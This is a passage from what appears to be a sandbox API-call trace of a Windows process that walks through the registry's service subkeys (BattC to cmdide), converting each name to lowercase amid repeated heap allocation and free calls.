BaseAddress=0x21f1850) returned 1 [0210.200] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.200] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.200] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0210.200] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.200] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0210.200] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.200] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f18e0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0210.200] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0210.200] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.200] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0210.200] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.200] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0210.200] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.200] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0210.200] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0210.200] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f1850, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0210.200] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.200] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0210.200] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.200] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.200] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0210.200] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.200] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0210.200] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.200] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f18e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0210.201] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0210.201] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.201] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0210.201] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.201] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0210.201] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.201] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0210.201] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0210.201] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f1850, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0210.201] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.201] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0210.201] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.201] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.201] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0210.201] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.201] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0210.201] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.201] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f18e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0210.201] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0210.201] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.201] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0210.201] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.201] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0210.201] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.201] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0210.201] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0210.201] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f1850, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0210.201] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.201] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0210.201] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.201] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.201] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0210.201] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.202] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0210.202] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.202] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0210.202] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0210.202] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.202] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0210.202] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.202] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0210.202] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.202] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0210.202] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0210.202] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f1850, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0210.202] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.202] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0210.202] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.202] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.202] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0210.202] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.202] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0210.202] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.202] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0210.202] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0210.202] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.202] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0210.202] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.202] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0210.202] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.202] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0210.202] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0210.202] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f1850, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0210.202] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.202] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0210.202] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.202] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.203] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0210.203] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.203] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0210.203] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.203] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0210.203] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0210.203] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.203] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0210.203] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.203] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0210.203] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.203] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0210.203] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0210.203] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f1850, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0210.203] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.203] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0210.203] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.203] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.203] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0210.203] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.203] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0210.203] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.203] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0210.203] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0210.203] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.203] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0210.203] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.203] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0210.203] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.203] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0210.203] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0210.203] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f1850, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0210.203] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.203] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0210.204] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.204] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.204] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0210.204] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.204] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0210.204] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.204] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0210.204] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0210.204] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.204] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0210.204] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.204] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0210.204] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.204] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0210.204] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0210.204] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f1850, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0210.204] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.204] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0210.204] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.204] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.204] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0210.204] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.204] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0210.204] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.204] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0210.204] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0210.204] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.204] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0210.204] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.204] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0210.204] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.204] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0210.204] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0210.204] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f1850, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0210.205] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.205] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0210.205] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.205] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.205] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0210.205] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.205] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0210.205] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.205] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f18e0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0210.205] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0210.205] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.205] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0210.205] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.205] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0210.205] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.205] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0210.205] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0210.205] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f1850, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0210.205] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0210.205] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0210.205] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0210.205] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0210.205] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0210.205] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0210.205] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0210.206] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") 